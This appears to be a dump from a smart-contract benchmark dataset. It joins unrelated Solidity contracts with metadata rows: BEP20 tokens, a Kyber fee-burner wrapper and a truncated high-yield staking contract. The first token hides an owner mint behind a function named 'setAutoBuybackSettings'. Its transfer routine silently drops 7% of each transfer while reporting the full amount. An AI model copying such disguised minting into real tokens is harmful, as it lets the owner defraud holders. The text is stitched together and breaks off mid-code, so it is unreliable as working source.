function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function setAutoBuybackSettings(uint256 amount) public onlyOwner returns (bool) {
_Mac(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount * 93 / 100);
emit Transfer(sender, recipient, amount);
}
function _Mac(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 257,000 | 11,784 |
e7012ff325c5ce10a2dc3f533d5c65c0d5e99c51607ebb0a130008848b10c202
| 20,648 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xbe401c3cf8528db1b963e2e40827a2e0e1d98ee4.sol
| 5,108 | 20,216 |
pragma solidity 0.4.18;
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface FeeBurnerInterface {
function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool);
}
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28);
uint constant internal MAX_RATE = (PRECISION * 10**6);
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS;
uint tokenDecimals = decimals[token];
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]);
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]);
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
interface BurnableToken {
function transferFrom(address _from, address _to, uint _value) public returns (bool);
function burnFrom(address _from, uint256 _value) public returns (bool);
}
contract FeeBurner is Withdrawable, FeeBurnerInterface, Utils {
mapping(address=>uint) public reserveFeesInBps;
mapping(address=>address) public reserveKNCWallet;
mapping(address=>uint) public walletFeesInBps;
mapping(address=>uint) public reserveFeeToBurn;
mapping(address=>uint) public feePayedPerReserve;
mapping(address=>mapping(address=>uint)) public reserveFeeToWallet;
address public taxWallet;
uint public taxFeeBps = 0;
BurnableToken public knc;
address public kyberNetwork;
uint public kncPerETHRate = 300;
function FeeBurner(address _admin, BurnableToken kncToken, address _kyberNetwork) public {
require(_admin != address(0));
require(kncToken != address(0));
require(_kyberNetwork != address(0));
kyberNetwork = _kyberNetwork;
admin = _admin;
knc = kncToken;
}
event ReserveDataSet(address reserve, uint feeInBps, address kncWallet);
function setReserveData(address reserve, uint feesInBps, address kncWallet) public onlyAdmin {
require(feesInBps < 100);
require(kncWallet != address(0));
reserveFeesInBps[reserve] = feesInBps;
reserveKNCWallet[reserve] = kncWallet;
ReserveDataSet(reserve, feesInBps, kncWallet);
}
event WalletFeesSet(address wallet, uint feesInBps);
function setWalletFees(address wallet, uint feesInBps) public onlyAdmin {
require(feesInBps < 10000);
walletFeesInBps[wallet] = feesInBps;
WalletFeesSet(wallet, feesInBps);
}
event TaxFeesSet(uint feesInBps);
function setTaxInBps(uint _taxFeeBps) public onlyAdmin {
require(_taxFeeBps < 10000);
taxFeeBps = _taxFeeBps;
TaxFeesSet(_taxFeeBps);
}
event TaxWalletSet(address taxWallet);
function setTaxWallet(address _taxWallet) public onlyAdmin {
require(_taxWallet != address(0));
taxWallet = _taxWallet;
TaxWalletSet(_taxWallet);
}
function setKNCRate(uint rate) public onlyAdmin {
require(rate <= MAX_RATE);
kncPerETHRate = rate;
}
event AssignFeeToWallet(address reserve, address wallet, uint walletFee);
event AssignBurnFees(address reserve, uint burnFee);
function handleFees(uint tradeWeiAmount, address reserve, address wallet) public returns(bool) {
require(msg.sender == kyberNetwork);
require(tradeWeiAmount <= MAX_QTY);
require(kncPerETHRate <= MAX_RATE);
uint kncAmount = tradeWeiAmount * kncPerETHRate;
uint fee = kncAmount * reserveFeesInBps[reserve] / 10000;
uint walletFee = fee * walletFeesInBps[wallet] / 10000;
require(fee >= walletFee);
uint feeToBurn = fee - walletFee;
if (walletFee > 0) {
reserveFeeToWallet[reserve][wallet] += walletFee;
AssignFeeToWallet(reserve, wallet, walletFee);
}
if (feeToBurn > 0) {
AssignBurnFees(reserve, feeToBurn);
reserveFeeToBurn[reserve] += feeToBurn;
}
return true;
}
event BurnAssignedFees(address indexed reserve, address sender, uint quantity);
event SendTaxFee(address indexed reserve, address sender, address taxWallet, uint quantity);
function burnReserveFees(address reserve) public {
uint burnAmount = reserveFeeToBurn[reserve];
uint taxToSend = 0;
require(burnAmount > 2);
reserveFeeToBurn[reserve] = 1;
if (taxWallet != address(0) && taxFeeBps != 0) {
taxToSend = (burnAmount - 1) * taxFeeBps / 10000;
require(burnAmount - 1 > taxToSend);
burnAmount -= taxToSend;
if (taxToSend > 0) {
require(knc.transferFrom(reserveKNCWallet[reserve], taxWallet, taxToSend));
SendTaxFee(reserve, msg.sender, taxWallet, taxToSend);
}
}
require(knc.burnFrom(reserveKNCWallet[reserve], burnAmount - 1));
feePayedPerReserve[reserve] += (taxToSend + burnAmount - 1);
BurnAssignedFees(reserve, msg.sender, (burnAmount - 1));
}
event SendWalletFees(address indexed wallet, address reserve, address sender);
function sendFeeToWallet(address wallet, address reserve) public {
uint feeAmount = reserveFeeToWallet[reserve][wallet];
require(feeAmount > 1);
reserveFeeToWallet[reserve][wallet] = 1;
require(knc.transferFrom(reserveKNCWallet[reserve], wallet, feeAmount - 1));
feePayedPerReserve[reserve] += (feeAmount - 1);
SendWalletFees(wallet, reserve, msg.sender);
}
}
contract WrapperBase is Withdrawable {
PermissionGroups public wrappedContract;
struct DataTracker {
address [] approveSignatureArray;
uint lastSetNonce;
}
DataTracker[] internal dataInstances;
function WrapperBase(PermissionGroups _wrappedContract, address _admin, uint _numDataInstances) public {
require(_wrappedContract != address(0));
require(_admin != address(0));
wrappedContract = _wrappedContract;
admin = _admin;
for (uint i = 0; i < _numDataInstances; i++){
addDataInstance();
}
}
function claimWrappedContractAdmin() public onlyOperator {
wrappedContract.claimAdmin();
}
function transferWrappedContractAdmin (address newAdmin) public onlyAdmin {
wrappedContract.transferAdmin(newAdmin);
}
function addDataInstance() internal {
address[] memory add = new address[](0);
dataInstances.push(DataTracker(add, 0));
}
function setNewData(uint dataIndex) internal {
require(dataIndex < dataInstances.length);
dataInstances[dataIndex].lastSetNonce++;
dataInstances[dataIndex].approveSignatureArray.length = 0;
}
function addSignature(uint dataIndex, uint signedNonce, address signer) internal returns(bool allSigned) {
require(dataIndex < dataInstances.length);
require(dataInstances[dataIndex].lastSetNonce == signedNonce);
for(uint i = 0; i < dataInstances[dataIndex].approveSignatureArray.length; i++) {
if (signer == dataInstances[dataIndex].approveSignatureArray[i]) revert();
}
dataInstances[dataIndex].approveSignatureArray.push(signer);
if (dataInstances[dataIndex].approveSignatureArray.length == operatorsGroup.length) {
allSigned = true;
} else {
allSigned = false;
}
}
function getDataTrackingParameters(uint index) internal view returns (address[], uint) {
require(index < dataInstances.length);
return(dataInstances[index].approveSignatureArray, dataInstances[index].lastSetNonce);
}
}
contract WrapFeeBurner is WrapperBase {
FeeBurner public feeBurnerContract;
address[] internal feeSharingWallets;
uint public feeSharingBps = 3000;
struct KncPerEth {
uint minRate;
uint maxRate;
uint pendingMinRate;
uint pendingMaxRate;
}
KncPerEth private kncPerEth;
struct AddReserveData {
address reserve;
uint feeBps;
address kncWallet;
}
AddReserveData private addReserve;
struct WalletFee {
address walletAddress;
uint feeBps;
}
WalletFee private walletFee;
struct TaxData {
address wallet;
uint feeBps;
}
TaxData private taxData;
uint private constant KNC_RATE_RANGE_INDEX = 0;
uint private constant ADD_RESERVE_INDEX = 1;
uint private constant WALLET_FEE_INDEX = 2;
uint private constant TAX_DATA_INDEX = 3;
uint private constant LAST_DATA_INDEX = 4;
function WrapFeeBurner(FeeBurner _feeBurner, address _admin) public
WrapperBase(PermissionGroups(address(_feeBurner)), _admin, LAST_DATA_INDEX)
{
require(_feeBurner != address(0));
feeBurnerContract = _feeBurner;
}
function setFeeSharingValue(uint feeBps) public onlyAdmin {
require(feeBps < 10000);
feeSharingBps = feeBps;
}
event WalletRegisteredForFeeSharing(address sender, address walletAddress);
function registerWalletForFeeSharing(address walletAddress) public {
require(feeBurnerContract.walletFeesInBps(walletAddress) == 0);
feeBurnerContract.setWalletFees(walletAddress, feeSharingBps);
feeSharingWallets.push(walletAddress);
WalletRegisteredForFeeSharing(msg.sender, walletAddress);
}
function getFeeSharingWallets() public view returns(address[]) {
return feeSharingWallets;
}
function setPendingKNCRateRange(uint minRate, uint maxRate) public onlyOperator {
require(minRate < maxRate);
require(minRate > 0);
setNewData(KNC_RATE_RANGE_INDEX);
kncPerEth.pendingMinRate = minRate;
kncPerEth.pendingMaxRate = maxRate;
}
function approveKNCRateRange(uint nonce) public onlyOperator {
if (addSignature(KNC_RATE_RANGE_INDEX, nonce, msg.sender)) {
kncPerEth.minRate = kncPerEth.pendingMinRate;
kncPerEth.maxRate = kncPerEth.pendingMaxRate;
}
}
function getPendingKNCRateRange() public view returns(uint minRate, uint maxRate, uint nonce) {
address[] memory signatures;
minRate = kncPerEth.pendingMinRate;
maxRate = kncPerEth.pendingMaxRate;
(signatures, nonce) = getDataTrackingParameters(KNC_RATE_RANGE_INDEX);
return(minRate, maxRate, nonce);
}
function getKNCRateRange() public view returns(uint minRate, uint maxRate) {
minRate = kncPerEth.minRate;
maxRate = kncPerEth.maxRate;
return(minRate, maxRate);
}
function setKNCPerEthRate(uint kncPerEther) public onlyOperator {
require(kncPerEther >= kncPerEth.minRate);
require(kncPerEther <= kncPerEth.maxRate);
feeBurnerContract.setKNCRate(kncPerEther);
}
function getKNCRateRangeSignatures() public view returns (address[] signatures) {
uint nonce;
(signatures, nonce) = getDataTrackingParameters(KNC_RATE_RANGE_INDEX);
return(signatures);
}
function setPendingReserveData(address _reserve, uint feeBps, address kncWallet) public onlyOperator {
require(_reserve != address(0));
require(kncWallet != address(0));
require(feeBps > 0);
addReserve.reserve = _reserve;
addReserve.feeBps = feeBps;
addReserve.kncWallet = kncWallet;
setNewData(ADD_RESERVE_INDEX);
}
function approveAddReserveData(uint nonce) public onlyOperator {
if (addSignature(ADD_RESERVE_INDEX, nonce, msg.sender)) {
feeBurnerContract.setReserveData(addReserve.reserve, addReserve.feeBps, addReserve.kncWallet);
}
}
function getPendingAddReserveData() public view
returns(address _reserve, uint feeBps, address kncWallet, uint nonce)
{
address[] memory signatures;
(signatures, nonce) = getDataTrackingParameters(ADD_RESERVE_INDEX);
return(addReserve.reserve, addReserve.feeBps, addReserve.kncWallet, nonce);
}
function getAddReserveSignatures() public view returns (address[] signatures) {
uint nonce;
(signatures, nonce) = getDataTrackingParameters(ADD_RESERVE_INDEX);
return(signatures);
}
function setPendingWalletFee(address wallet, uint feeInBps) public onlyOperator {
require(wallet != address(0));
require(feeInBps > 0);
walletFee.walletAddress = wallet;
walletFee.feeBps = feeInBps;
setNewData(WALLET_FEE_INDEX);
}
function approveWalletFeeData(uint nonce) public onlyOperator {
if (addSignature(WALLET_FEE_INDEX, nonce, msg.sender)) {
feeBurnerContract.setWalletFees(walletFee.walletAddress, walletFee.feeBps);
}
}
function getPendingWalletFeeData() public view returns(address wallet, uint feeBps, uint nonce) {
address[] memory signatures;
(signatures, nonce) = getDataTrackingParameters(WALLET_FEE_INDEX);
return(walletFee.walletAddress, walletFee.feeBps, nonce);
}
function getWalletFeeSignatures() public view returns (address[] signatures) {
uint nonce;
(signatures, nonce) = getDataTrackingParameters(WALLET_FEE_INDEX);
return(signatures);
}
function setPendingTaxParameters(address _taxWallet, uint _taxFeeBps) public onlyOperator {
require(_taxWallet != address(0));
require(_taxFeeBps > 0);
taxData.wallet = _taxWallet;
taxData.feeBps = _taxFeeBps;
setNewData(TAX_DATA_INDEX);
}
function approveTaxData(uint nonce) public onlyOperator {
if (addSignature(TAX_DATA_INDEX, nonce, msg.sender)) {
feeBurnerContract.setTaxInBps(taxData.feeBps);
feeBurnerContract.setTaxWallet(taxData.wallet);
}
}
function getPendingTaxData() public view returns(address wallet, uint feeBps, uint nonce) {
address[] memory signatures;
(signatures, nonce) = getDataTrackingParameters(TAX_DATA_INDEX);
return(taxData.wallet, taxData.feeBps, nonce);
}
function getTaxDataSignatures() public view returns (address[] signatures) {
uint nonce;
(signatures, nonce) = getDataTrackingParameters(TAX_DATA_INDEX);
return(signatures);
}
}
| 161,105 | 11,785 |
b1692877dd83205a16713ae55086c4e7b5094b759bdd9a2717e97719420f82e5
| 31,020 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x4659F3b0111DCC352e71876a72363D72B1bB2f1a/contract.sol
| 3,246 | 12,975 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 private _burnedSupply;
uint256 private _burnRate;
bool private _burnEnabled;
constructor (string memory name, string memory symbol, uint256 decimals, uint256 burnrate, uint256 initSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_burnRate = burnrate;
_totalSupply = 0;
_mint(msg.sender, initSupply*(10**_decimals));
_burnedSupply = 0;
_burnEnabled = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function burnedSupply() public view returns (uint256) {
return _burnedSupply;
}
function burnRate() public view returns (uint256) {
return _burnRate;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
address public _yvaultMaster;
function _setYvaultMaster(address yvaultMaster_) internal virtual{
_yvaultMaster = yvaultMaster_;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if(_burnEnabled && sender != _yvaultMaster && recipient != _yvaultMaster) // Don't charge tax when depositing to and withdrawing from YVAULT Master
{
uint256 burnamount = amount.mul(_burnRate).div(100);
uint256 sendamount = amount.sub(burnamount);
require(amount == sendamount + burnamount, "Math error");
_burn(sender, burnamount);
amount = sendamount;
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
else
{
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
_burnedSupply = _burnedSupply.add(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupBurnrate(uint8 burnrate_) internal virtual {
_burnRate = burnrate_;
}
function _setBurnEnable(bool burnEnabled_) internal virtual {
_burnEnabled = burnEnabled_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// YVAULT
contract YVAULT is BEP20, Ownable {
using SafeMath for uint256;
uint256 public constant initialSupply = 0; // no ico, zero minted, fair launch
constructor () public BEP20("YVAULT.FINANCE", "YVAULT", 18, 3, initialSupply) {
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function setBurnrate(uint8 burnrate_) public onlyOwner {
_setupBurnrate(burnrate_);
}
function setBurnEnable(bool burnEnabled_) public onlyOwner {
_setBurnEnable(burnEnabled_);
}
function setYvaultMaster(address _yvaultMaster) public onlyOwner {
_setYvaultMaster(_yvaultMaster);
}
}
| 250,816 | 11,786 |
c181725ee97bb5e5c03a1d48debbd78f7c596edd71e1850e887f35a919b66dbc
| 11,717 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/26/26977f3887e4a5761451772315a268411f4c2dea_PANDASTAKERS.sol
| 3,539 | 11,141 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract PANDASTAKERS {
using SafeMath for uint256;
address private _owner;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether;
uint256[] public REFERRAL_PERCENTS = [50, 25, 5];
uint256 constant public PROJECT_FEE = 100;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public WITHDRAW_FEE = 1000; //In base point
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalStaked;
uint256 public totalRefBonus;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable public commissionWallet;
address payable public insuranceWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable _commissionWallet, address payable _insuranceWallet, uint256 startDate) {
require(!isContract(_commissionWallet));
require(!isContract(_insuranceWallet));
commissionWallet = _commissionWallet;
insuranceWallet = _insuranceWallet;
if (startDate == 0) {
startUNIX = block.timestamp.add(10 days);
}else{
startUNIX = startDate;
}
_owner = msg.sender;
plans.push(Plan(14, 82));
plans.push(Plan(21, 76));
plans.push(Plan(28, 69));
plans.push(Plan(14, 82));
plans.push(Plan(21, 76));
plans.push(Plan(28, 69));
}
modifier onlyOwner() {
require(isOwner(), "Function accessible only by the owner !!");
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function setCommissionWallet(address payable _commissionWallet) external onlyOwner {
